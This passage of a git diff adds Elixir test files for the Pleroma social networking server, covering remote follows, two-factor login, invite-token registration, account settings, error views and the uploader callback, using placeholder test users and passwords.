Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.TwitterAPI.RemoteFollowControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Config + alias Pleroma.MFA + alias Pleroma.MFA.TOTP + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import ExUnit.CaptureLog + import Pleroma.Factory + import Ecto.Query + + setup do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup_all do: clear_config([:instance, :federating], true) + setup do: clear_config([:instance]) + setup do: clear_config([:frontend_configurations, :pleroma_fe]) + setup do: clear_config([:user, :deny_follow_blocked]) + + describe "GET /ostatus_subscribe - remote_follow/2" do + test "adds status to pleroma instance if the `acct` is a status", %{conn: conn} do + assert conn + |> get( + remote_follow_path(conn, :follow, %{ + acct: "https://mastodon.social/users/emelie/statuses/101849165031453009" + }) + ) + |> redirected_to() =~ "/notice/" + end + + test "show follow account page if the `acct` is a account link", %{conn: conn} do + response = + conn + |> get(remote_follow_path(conn, :follow, %{acct: "https://mastodon.social/users/emelie"})) + |> html_response(200) + + assert response =~ "Log in to follow" + end + + test "show follow page if the `acct` is a account link", %{conn: conn} do + user = insert(:user) + + response = + conn + |> assign(:user, user) + |> get(remote_follow_path(conn, :follow, %{acct: "https://mastodon.social/users/emelie"})) + |> html_response(200) + + assert response =~ "Remote follow" + end + + test "show follow page with error when user cannot fecth by `acct` link", %{conn: conn} do + user = insert(:user) + + assert capture_log(fn -> + response = + conn + |> assign(:user, user) + |> get( + remote_follow_path(conn, :follow, %{ + acct: "https://mastodon.social/users/not_found" + }) + ) + |> html_response(200) + + assert response =~ "Error fetching user" + end) =~ "Object has been deleted" + end + end + + describe "POST /ostatus_subscribe - do_follow/2 with assigned user " do + test "required `follow | write:follows` scope", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + read_token = insert(:oauth_token, user: user, scopes: ["read"]) + + assert capture_log(fn -> + response = + conn + |> assign(:user, user) + |> assign(:token, read_token) + |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) + |> response(200) + + assert response =~ "Error following account" + end) =~ "Insufficient permissions: follow | write:follows." + end + + test "follows user", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + + conn = + conn + |> assign(:user, user) + |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:follows"])) + |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) + + assert redirected_to(conn) == "/users/#{user2.id}" + end + + test "returns error when user is deactivated", %{conn: conn} do + user = insert(:user, deactivated: true) + user2 = insert(:user) + + response = + conn + |> assign(:user, user) + |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) + |> response(200) + + assert response =~ "Error following account" + end + + test "returns error when user is blocked", %{conn: conn} do + Pleroma.Config.put([:user, :deny_follow_blocked], true) + user = insert(:user) + user2 = insert(:user) + + {:ok, _user_block} = Pleroma.User.block(user2, user) + + response = + conn + |> assign(:user, user) + |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) + |> response(200) + + assert response =~ "Error following account" + end + + test "returns error when followee not found", %{conn: conn} do + user = insert(:user) + + response = + conn + |> assign(:user, user) + |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => "jimm"}}) + |> response(200) + + assert response =~ "Error following account" + end + + test "returns success result when user already in followers", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + {:ok, _, _, _} = CommonAPI.follow(user, user2) + + conn = + conn + |> assign(:user, refresh_record(user)) + |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:follows"])) + |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) + + assert redirected_to(conn) == "/users/#{user2.id}" + end + end + + describe "POST /ostatus_subscribe - follow/2 with enabled Two-Factor Auth " do + test "render the MFA login form", %{conn: conn} do + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + user2 = insert(:user) + + response = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id} + }) + |> response(200) + + mfa_token = Pleroma.Repo.one(from(q in Pleroma.MFA.Token, where: q.user_id == ^user.id)) + + assert response =~ "Two-factor authentication" + assert response =~ "Authentication code" + assert response =~ mfa_token.token + refute user2.follower_address in User.following(user) + end + + test "returns error when password is incorrect", %{conn: conn} do + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + user2 = insert(:user) + + response = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => user.nickname, "password" => "test1", "id" => user2.id} + }) + |> response(200) + + assert response =~ "Wrong username or password" + refute user2.follower_address in User.following(user) + end + + test "follows", %{conn: conn} do + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + {:ok, %{token: token}} = MFA.Token.create(user) + + user2 = insert(:user) + otp_token = TOTP.generate_token(otp_secret) + + conn = + conn + |> post( + remote_follow_path(conn, :do_follow), + %{ + "mfa" => %{"code" => otp_token, "token" => token, "id" => user2.id} + } + ) + + assert redirected_to(conn) == "/users/#{user2.id}" + assert user2.follower_address in User.following(user) + end + + test "returns error when auth code is incorrect", %{conn: conn} do + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + {:ok, %{token: token}} = MFA.Token.create(user) + + user2 = insert(:user) + otp_token = TOTP.generate_token(TOTP.generate_secret()) + + response = + conn + |> post( + remote_follow_path(conn, :do_follow), + %{ + "mfa" => %{"code" => otp_token, "token" => token, "id" => user2.id} + } + ) + |> response(200) + + assert response =~ "Wrong authentication code" + refute user2.follower_address in User.following(user) + end + end + + describe "POST /ostatus_subscribe - follow/2 without assigned user " do + test "follows", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + + conn = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id} + }) + + assert redirected_to(conn) == "/users/#{user2.id}" + assert user2.follower_address in User.following(user) + end + + test "returns error when followee not found", %{conn: conn} do + user = insert(:user) + + response = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => user.nickname, "password" => "test", "id" => "jimm"} + }) + |> response(200) + + assert response =~ "Error following account" + end + + test "returns error when login invalid", %{conn: conn} do + user = insert(:user) + + response = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => "jimm", "password" => "test", "id" => user.id} + }) + |> response(200) + + assert response =~ "Wrong username or password" + end + + test "returns error when password invalid", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + + response = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => user.nickname, "password" => "42", "id" => user2.id} + }) + |> response(200) + + assert response =~ "Wrong username or password" + end + + test "returns error when user is blocked", %{conn: conn} do + Pleroma.Config.put([:user, :deny_follow_blocked], true) + user = insert(:user) + user2 = insert(:user) + {:ok, _user_block} = Pleroma.User.block(user2, user) + + response = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id} + }) + |> response(200) + + assert response =~ "Error following account" + end + end +end diff --git a/test/pleroma/web/twitter_api/twitter_api_test.exs b/test/pleroma/web/twitter_api/twitter_api_test.exs new file mode 100644 index 000000000..20a45cb6f --- /dev/null +++ b/test/pleroma/web/twitter_api/twitter_api_test.exs @@ -0,0 +1,432 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.UserInviteToken + alias Pleroma.Web.TwitterAPI.TwitterAPI + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "it registers a new user and returns the user." do + data = %{ + :username => "lain", + :email => "lain@wired.jp", + :fullname => "lain iwakura", + :password => "bear", + :confirm => "bear" + } + + {:ok, user} = TwitterAPI.register_user(data) + + assert user == User.get_cached_by_nickname("lain") + end + + test "it registers a new user with empty string in bio and returns the user" do + data = %{ + :username => "lain", + :email => "lain@wired.jp", + :fullname => "lain iwakura", + :bio => "", + :password => "bear", + :confirm => "bear" + } + + {:ok, user} = TwitterAPI.register_user(data) + + assert user == User.get_cached_by_nickname("lain") + end + + test "it sends confirmation email if :account_activation_required is specified in instance config" do + setting = Pleroma.Config.get([:instance, :account_activation_required]) + + unless setting do + Pleroma.Config.put([:instance, :account_activation_required], true) + on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end) + end + + data = %{ + :username => "lain", + :email => "lain@wired.jp", + :fullname => "lain iwakura", + :bio => "", + :password => "bear", + :confirm => "bear" + } + + {:ok, user} = TwitterAPI.register_user(data) + ObanHelpers.perform_all() + + assert user.confirmation_pending + + email = Pleroma.Emails.UserEmail.account_confirmation_email(user) + + notify_email = Pleroma.Config.get([:instance, :notify_email]) + instance_name = Pleroma.Config.get([:instance, :name]) + + Swoosh.TestAssertions.assert_email_sent( + from: {instance_name, notify_email}, + to: {user.name, user.email}, + html_body: email.html_body + ) + end + + test "it sends an admin email if :account_approval_required is specified in instance config" do + admin = insert(:user, is_admin: true) + setting = Pleroma.Config.get([:instance, :account_approval_required]) + + unless setting do + Pleroma.Config.put([:instance, :account_approval_required], true) + on_exit(fn -> Pleroma.Config.put([:instance, :account_approval_required], setting) end) + end + + data = %{ + :username => "lain", + :email => "lain@wired.jp", + :fullname => "lain iwakura", + :bio => "", + :password => "bear", + :confirm => "bear", + :reason => "I love anime" + } + + {:ok, user} = TwitterAPI.register_user(data) + ObanHelpers.perform_all() + + assert user.approval_pending + + email = Pleroma.Emails.AdminEmail.new_unapproved_registration(admin, user) + + notify_email = Pleroma.Config.get([:instance, :notify_email]) + instance_name = Pleroma.Config.get([:instance, :name]) + + Swoosh.TestAssertions.assert_email_sent( + from: {instance_name, notify_email}, + to: {admin.name, admin.email}, + html_body: email.html_body + ) + end + + test "it registers a new user and parses mentions in the bio" do + data1 = %{ + :username => "john", + :email => "john@gmail.com", + :fullname => "John Doe", + :bio => "test", + :password => "bear", + :confirm => "bear" + } + + {:ok, user1} = TwitterAPI.register_user(data1) + + data2 = %{ + :username => "lain", + :email => "lain@wired.jp", + :fullname => "lain iwakura", + :bio => "@john test", + :password => "bear", + :confirm => "bear" + } + + {:ok, user2} = TwitterAPI.register_user(data2) + + expected_text = + ~s(<span class="h-card"><a class="u-url mention" data-user="#{user1.id}" href="#{ + user1.ap_id + }" rel="ugc">@<span>john</span></a></span> test) + + assert user2.bio == expected_text + end + + describe "register with one time token" do + setup do: clear_config([:instance, :registrations_open], false) + + test "returns user on success" do + {:ok, invite} = UserInviteToken.create_invite() + + data = %{ + :username => "vinny", + :email => "pasta@pizza.vs", + :fullname => "Vinny Vinesauce", + :bio => "streamer", + :password => "hiptofbees", + :confirm => "hiptofbees", + :token => invite.token + } + + {:ok, user} = TwitterAPI.register_user(data) + + assert user == User.get_cached_by_nickname("vinny") + + invite = Repo.get_by(UserInviteToken, token: invite.token) + assert invite.used == true + end + + test "returns error on invalid token" do + data = %{ + :username => "GrimReaper", + :email => "death@reapers.afterlife", + :fullname => "Reaper Grim", + :bio => "Your time has come", + :password => "scythe", + :confirm => "scythe", + :token => "DudeLetMeInImAFairy" + } + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Invalid token" + refute User.get_cached_by_nickname("GrimReaper") + end + + test "returns error on expired token" do + {:ok, invite} = UserInviteToken.create_invite() + UserInviteToken.update_invite!(invite, used: true) + + data = %{ + :username => "GrimReaper", + :email => "death@reapers.afterlife", + :fullname => "Reaper Grim", + :bio => "Your time has come", + :password => "scythe", + :confirm => "scythe", + :token => invite.token + } + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Expired token" + refute User.get_cached_by_nickname("GrimReaper") + end + end + + describe "registers with date limited token" do + setup do: clear_config([:instance, :registrations_open], false) + + setup do + data = %{ + :username => "vinny", + :email => "pasta@pizza.vs", + :fullname => "Vinny Vinesauce", + :bio => "streamer", + :password => "hiptofbees", + :confirm => "hiptofbees" + } + + check_fn = fn invite -> + data = Map.put(data, :token, invite.token) + {:ok, user} = TwitterAPI.register_user(data) + + assert user == User.get_cached_by_nickname("vinny") + end + + {:ok, data: data, check_fn: check_fn} + end + + test "returns user on success", %{check_fn: check_fn} do + {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today()}) + + check_fn.(invite) + + invite = Repo.get_by(UserInviteToken, token: invite.token) + + refute invite.used + end + + test "returns user on token which expired tomorrow", %{check_fn: check_fn} do + {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), 1)}) + + check_fn.(invite) + + invite = Repo.get_by(UserInviteToken, token: invite.token) + + refute invite.used + end + + test "returns an error on overdue date", %{data: data} do + {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1)}) + + data = Map.put(data, "token", invite.token) + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Expired token" + refute User.get_cached_by_nickname("vinny") + invite = Repo.get_by(UserInviteToken, token: invite.token) + + refute invite.used + end + end + + describe "registers with reusable token" do + setup do: clear_config([:instance, :registrations_open], false) + + test "returns user on success, after him registration fails" do + {:ok, invite} = UserInviteToken.create_invite(%{max_use: 100}) + + UserInviteToken.update_invite!(invite, uses: 99) + + data = %{ + :username => "vinny", + :email => "pasta@pizza.vs", + :fullname => "Vinny Vinesauce", + :bio => "streamer", + :password => "hiptofbees", + :confirm => "hiptofbees", + :token => invite.token + } + + {:ok, user} = TwitterAPI.register_user(data) + assert user == User.get_cached_by_nickname("vinny") + + invite = Repo.get_by(UserInviteToken, token: invite.token) + assert invite.used == true + + data = %{ + :username => "GrimReaper", + :email => "death@reapers.afterlife", + :fullname => "Reaper Grim", + :bio => "Your time has come", + :password => "scythe", + :confirm => "scythe", + :token => invite.token + } + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Expired token" + refute User.get_cached_by_nickname("GrimReaper") + end + end + + describe "registers with reusable date limited token" do + setup do: clear_config([:instance, :registrations_open], false) + + test "returns user on success" do + {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 100}) + + data = %{ + :username => "vinny", + :email => "pasta@pizza.vs", + :fullname => "Vinny Vinesauce", + :bio => "streamer", + :password => "hiptofbees", + :confirm => "hiptofbees", + :token => invite.token + } + + {:ok, user} = TwitterAPI.register_user(data) + assert user == User.get_cached_by_nickname("vinny") + + invite = Repo.get_by(UserInviteToken, token: invite.token) + refute invite.used + end + + test "error after max uses" do + {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 100}) + + UserInviteToken.update_invite!(invite, uses: 99) + + data = %{ + :username => "vinny", + :email => "pasta@pizza.vs", + :fullname => "Vinny Vinesauce", + :bio => "streamer", + :password => "hiptofbees", + :confirm => "hiptofbees", + :token => invite.token + } + + {:ok, user} = TwitterAPI.register_user(data) + assert user == User.get_cached_by_nickname("vinny") + + invite = Repo.get_by(UserInviteToken, token: invite.token) + assert invite.used == true + + data = %{ + :username => "GrimReaper", + :email => "death@reapers.afterlife", + :fullname => "Reaper Grim", + :bio => "Your time has come", + :password => "scythe", + :confirm => "scythe", + :token => invite.token + } + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Expired token" + refute User.get_cached_by_nickname("GrimReaper") + end + + test "returns error on overdue date" do + {:ok, invite} = + UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1), max_use: 100}) + + data = %{ + :username => "GrimReaper", + :email => "death@reapers.afterlife", + :fullname => "Reaper Grim", + :bio => "Your time has come", + :password => "scythe", + :confirm => "scythe", + :token => invite.token + } + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Expired token" + refute User.get_cached_by_nickname("GrimReaper") + end + + test "returns error on with overdue date and after max" do + {:ok, invite} = + UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1), max_use: 100}) + + UserInviteToken.update_invite!(invite, uses: 100) + + data = %{ + :username => "GrimReaper", + :email => "death@reapers.afterlife", + :fullname => "Reaper Grim", + :bio => "Your time has come", + :password => "scythe", + :confirm => "scythe", + :token => invite.token + } + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Expired token" + refute User.get_cached_by_nickname("GrimReaper") + end + end + + test "it returns the error on registration problems" do + data = %{ + :username => "lain", + :email => "lain@wired.jp", + :fullname => "lain iwakura", + :bio => "close the world." + } + + {:error, error} = TwitterAPI.register_user(data) + + assert is_binary(error) + refute User.get_cached_by_nickname("lain") + end + + setup do + Supervisor.terminate_child(Pleroma.Supervisor, Cachex) + Supervisor.restart_child(Pleroma.Supervisor, Cachex) + :ok + end +end diff --git a/test/pleroma/web/twitter_api/util_controller_test.exs b/test/pleroma/web/twitter_api/util_controller_test.exs new file mode 100644 index 000000000..60f2fb052 --- /dev/null +++ b/test/pleroma/web/twitter_api/util_controller_test.exs @@ -0,0 +1,437 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do + use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Config + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + + import Pleroma.Factory + import Mock + + setup do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do: clear_config([:instance]) + setup do: clear_config([:frontend_configurations, :pleroma_fe]) + + describe "PUT /api/pleroma/notification_settings" do + setup do: oauth_access(["write:accounts"]) + + test "it updates notification settings", %{user: user, conn: conn} do + conn + |> put("/api/pleroma/notification_settings", %{ + "block_from_strangers" => true, + "bar" => 1 + }) + |> json_response(:ok) + + user = refresh_record(user) + + assert %Pleroma.User.NotificationSetting{ + block_from_strangers: true, + hide_notification_contents: false + } == user.notification_settings + end + + test "it updates notification settings to enable hiding contents", %{user: user, conn: conn} do + conn + |> put("/api/pleroma/notification_settings", %{"hide_notification_contents" => "1"}) + |> json_response(:ok) + + user = refresh_record(user) + + assert %Pleroma.User.NotificationSetting{ + block_from_strangers: false, + hide_notification_contents: true + } == user.notification_settings + end + end + + describe "GET /api/pleroma/frontend_configurations" do + test "returns everything in :pleroma, :frontend_configurations", %{conn: conn} do + config = [ + frontend_a: %{ + x: 1, + y: 2 + }, + frontend_b: %{ + z: 3 + } + ] + + Config.put(:frontend_configurations, config) + + response = + conn + |> get("/api/pleroma/frontend_configurations") + |> json_response(:ok) + + assert response == Jason.encode!(config |> Enum.into(%{})) |> Jason.decode!() + end + end + + describe "/api/pleroma/emoji" do + test "returns json with custom emoji with tags", %{conn: conn} do + emoji = + conn + |> get("/api/pleroma/emoji") + |> json_response(200) + + assert Enum.all?(emoji, fn + {_key, + %{ + "image_url" => url, + "tags" => tags + }} -> + is_binary(url) and is_list(tags) + end) + end + end + + describe "GET /api/pleroma/healthcheck" do + setup do: clear_config([:instance, :healthcheck]) + + test "returns 503 when healthcheck disabled", %{conn: conn} do + Config.put([:instance, :healthcheck], false) + + response = + conn + |> get("/api/pleroma/healthcheck") + |> json_response(503) + + assert response == %{} + end + + test "returns 200 when healthcheck enabled and all ok", %{conn: conn} do + Config.put([:instance, :healthcheck], true) + + with_mock Pleroma.Healthcheck, + system_info: fn -> %Pleroma.Healthcheck{healthy: true} end do + response = + conn + |> get("/api/pleroma/healthcheck") + |> json_response(200) + + assert %{ + "active" => _, + "healthy" => true, + "idle" => _, + "memory_used" => _, + "pool_size" => _ + } = response + end + end + + test "returns 503 when healthcheck enabled and health is false", %{conn: conn} do + Config.put([:instance, :healthcheck], true) + + with_mock Pleroma.Healthcheck, + system_info: fn -> %Pleroma.Healthcheck{healthy: false} end do + response = + conn + |> get("/api/pleroma/healthcheck") + |> json_response(503) + + assert %{ + "active" => _, + "healthy" => false, + "idle" => _, + "memory_used" => _, + "pool_size" => _ + } = response + end + end + end + + describe "POST /api/pleroma/disable_account" do + setup do: oauth_access(["write:accounts"]) + + test "with valid permissions and password, it disables the account", %{conn: conn, user: user} do + response = + conn + |> post("/api/pleroma/disable_account", %{"password" => "test"}) + |> json_response(:ok) + + assert response == %{"status" => "success"} + ObanHelpers.perform_all() + + user = User.get_cached_by_id(user.id) + + assert user.deactivated == true + end + + test "with valid permissions and invalid password, it returns an error", %{conn: conn} do + user = insert(:user) + + response = + conn + |> post("/api/pleroma/disable_account", %{"password" => "test1"}) + |> json_response(:ok) + + assert response == %{"error" => "Invalid password."} + user = User.get_cached_by_id(user.id) + + refute user.deactivated + end + end + + describe "POST /main/ostatus - remote_subscribe/2" do + setup do: clear_config([:instance, :federating], true) + + test "renders subscribe form", %{conn: conn} do + user = insert(:user) + + response = + conn + |> post("/main/ostatus", %{"nickname" => user.nickname, "profile" => ""}) + |> response(:ok) + + refute response =~ "Could not find user" + assert response =~ "Remotely follow #{user.nickname}" + end + + test "renders subscribe form with error when user not found", %{conn: conn} do + response = + conn + |> post("/main/ostatus", %{"nickname" => "nickname", "profile" => ""}) + |> response(:ok) + + assert response =~ "Could not find user" + refute response =~ "Remotely follow" + end + + test "it redirect to webfinger url", %{conn: conn} do + user = insert(:user) + user2 = insert(:user, ap_id: "shp@social.heldscal.la") + + conn = + conn + |> post("/main/ostatus", %{ + "user" => %{"nickname" => user.nickname, "profile" => user2.ap_id} + }) + + assert redirected_to(conn) == + "https://social.heldscal.la/main/ostatussub?profile=#{user.ap_id}" + end + + test "it renders form with error when user not found", %{conn: conn} do + user2 = insert(:user, ap_id: "shp@social.heldscal.la") + + response = + conn + |> post("/main/ostatus", %{"user" => %{"nickname" => "jimm", "profile" => user2.ap_id}}) + |> response(:ok) + + assert response =~ "Something went wrong." + end + end + + test "it returns new captcha", %{conn: conn} do + with_mock Pleroma.Captcha, + new: fn -> "test_captcha" end do + resp = + conn + |> get("/api/pleroma/captcha") + |> response(200) + + assert resp == "\"test_captcha\"" + assert called(Pleroma.Captcha.new()) + end + end + + describe "POST /api/pleroma/change_email" do + setup do: oauth_access(["write:accounts"]) + + test "without permissions", %{conn: conn} do + conn = + conn + |> assign(:token, nil) + |> post("/api/pleroma/change_email") + + assert json_response(conn, 403) == %{"error" => "Insufficient permissions: write:accounts."} + end + + test "with proper permissions and invalid password", %{conn: conn} do + conn = + post(conn, "/api/pleroma/change_email", %{ + "password" => "hi", + "email" => "test@test.com" + }) + + assert json_response(conn, 200) == %{"error" => "Invalid password."} + end + + test "with proper permissions, valid password and invalid email", %{ + conn: conn + } do + conn = + post(conn, "/api/pleroma/change_email", %{ + "password" => "test", + "email" => "foobar" + }) + + assert json_response(conn, 200) == %{"error" => "Email has invalid format."} + end + + test "with proper permissions, valid password and no email", %{ + conn: conn + } do + conn = + post(conn, "/api/pleroma/change_email", %{ + "password" => "test" + }) + + assert json_response(conn, 200) == %{"error" => "Email can't be blank."} + end + + test "with proper permissions, valid password and blank email", %{ + conn: conn + } do + conn = + post(conn, "/api/pleroma/change_email", %{ + "password" => "test", + "email" => "" + }) + + assert json_response(conn, 200) == %{"error" => "Email can't be blank."} + end + + test "with proper permissions, valid password and non unique email", %{ + conn: conn + } do + user = insert(:user) + + conn = + post(conn, "/api/pleroma/change_email", %{ + "password" => "test", + "email" => user.email + }) + + assert json_response(conn, 200) == %{"error" => "Email has already been taken."} + end + + test "with proper permissions, valid password and valid email", %{ + conn: conn + } do + conn = + post(conn, "/api/pleroma/change_email", %{ + "password" => "test", + "email" => "cofe@foobar.com" + }) + + assert json_response(conn, 200) == %{"status" => "success"} + end + end + + describe "POST /api/pleroma/change_password" do + setup do: oauth_access(["write:accounts"]) + + test "without permissions", %{conn: conn} do + conn = + conn + |> assign(:token, nil) + |> post("/api/pleroma/change_password") + + assert json_response(conn, 403) == %{"error" => "Insufficient permissions: write:accounts."} + end + + test "with proper permissions and invalid password", %{conn: conn} do + conn = + post(conn, "/api/pleroma/change_password", %{ + "password" => "hi", + "new_password" => "newpass", + "new_password_confirmation" => "newpass" + }) + + assert json_response(conn, 200) == %{"error" => "Invalid password."} + end + + test "with proper permissions, valid password and new password and confirmation not matching", + %{ + conn: conn + } do + conn = + post(conn, "/api/pleroma/change_password", %{ + "password" => "test", + "new_password" => "newpass", + "new_password_confirmation" => "notnewpass" + }) + + assert json_response(conn, 200) == %{ + "error" => "New password does not match confirmation." + } + end + + test "with proper permissions, valid password and invalid new password", %{ + conn: conn + } do + conn = + post(conn, "/api/pleroma/change_password", %{ + "password" => "test", + "new_password" => "", + "new_password_confirmation" => "" + }) + + assert json_response(conn, 200) == %{ + "error" => "New password can't be blank." + } + end + + test "with proper permissions, valid password and matching new password and confirmation", %{ + conn: conn, + user: user + } do + conn = + post(conn, "/api/pleroma/change_password", %{ + "password" => "test", + "new_password" => "newpass", + "new_password_confirmation" => "newpass" + }) + + assert json_response(conn, 200) == %{"status" => "success"} + fetched_user = User.get_cached_by_id(user.id) + assert Pbkdf2.verify_pass("newpass", fetched_user.password_hash) == true + end + end + + describe "POST /api/pleroma/delete_account" do + setup do: oauth_access(["write:accounts"]) + + test "without permissions", %{conn: conn} do + conn = + conn + |> assign(:token, nil) + |> post("/api/pleroma/delete_account") + + assert json_response(conn, 403) == + %{"error" => "Insufficient permissions: write:accounts."} + end + + test "with proper permissions and wrong or missing password", %{conn: conn} do + for params <- [%{"password" => "hi"}, %{}] do + ret_conn = post(conn, "/api/pleroma/delete_account", params) + + assert json_response(ret_conn, 200) == %{"error" => "Invalid password."} + end + end + + test "with proper permissions and valid password", %{conn: conn, user: user} do + conn = post(conn, "/api/pleroma/delete_account", %{"password" => "test"}) + ObanHelpers.perform_all() + assert json_response(conn, 200) == %{"status" => "success"} + + user = User.get_by_id(user.id) + assert user.deactivated == true + assert user.name == nil + assert user.bio == "" + assert user.password_hash == nil + end + end +end diff --git a/test/pleroma/web/uploader_controller_test.exs b/test/pleroma/web/uploader_controller_test.exs new file mode 100644 index 000000000..21e518236 --- /dev/null +++ b/test/pleroma/web/uploader_controller_test.exs @@ -0,0 +1,43 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.UploaderControllerTest do + use Pleroma.Web.ConnCase + alias Pleroma.Uploaders.Uploader + + describe "callback/2" do + test "it returns 400 response when process callback isn't alive", %{conn: conn} do + res = + conn + |> post(uploader_path(conn, :callback, "test-path")) + + assert res.status == 400 + assert res.resp_body == "{\"error\":\"bad request\"}" + end + + test "it returns success result", %{conn: conn} do + task = + Task.async(fn -> + receive do + {Uploader, pid, conn, _params} -> + conn = + conn + |> put_status(:ok) + |> Phoenix.Controller.json(%{upload_path: "test-path"}) + + send(pid, {Uploader, conn}) + end + end) + + :global.register_name({Uploader, "test-path"}, task.pid) + + res = + conn + |> post(uploader_path(conn, :callback, "test-path")) + |> json_response(200) + + assert res == %{"upload_path" => "test-path"} + end + end +end diff --git a/test/pleroma/web/views/error_view_test.exs b/test/pleroma/web/views/error_view_test.exs new file mode 100644 index 000000000..8dbbd18b4 --- /dev/null +++ b/test/pleroma/web/views/error_view_test.exs @@ -0,0 +1,36 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ErrorViewTest do + use Pleroma.Web.ConnCase, async: true + import ExUnit.CaptureLog + + # Bring render/3 and render_to_string/3 for testing custom views + import Phoenix.View + + test "renders 404.json" do + assert render(Pleroma.Web.ErrorView, "404.json", []) == %{errors: %{detail: "Page not found"}} + end + + test "render 500.json" do + assert capture_log(fn -> + assert render(Pleroma.Web.ErrorView, "500.json", []) == + %{errors: %{detail: "Internal server error", reason: "nil"}} + end) =~ "[error] Internal server error: nil" + end + + test "render any other" do + assert capture_log(fn -> + assert render(Pleroma.Web.ErrorView, "505.json", []) == + %{errors: %{detail: "Internal server error", reason: "nil"}} + end) =~ "[error] Internal server error: nil" + end + + test "render 500.json with reason" do + assert capture_log(fn -> + assert render(Pleroma.Web.ErrorView, "500.json", reason: "test reason") == + %{errors: %{detail: "Internal server error", reason: "\"test reason\""}} + end) =~ "[error] Internal server error: \"test reason\"" + end +end diff --git a/test/pleroma/web/web_finger/web_finger_controller_test.exs b/test/pleroma/web/web_finger/web_finger_controller_test.exs new file mode 100644 index 000000000..0023f1e81 --- /dev/null +++ b/test/pleroma/web/web_finger/web_finger_controller_test.exs @@ -0,0 +1,94 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.WebFinger.WebFingerControllerTest do + use Pleroma.Web.ConnCase + + import ExUnit.CaptureLog + import Pleroma.Factory + import Tesla.Mock + + setup do + mock(fn env -> 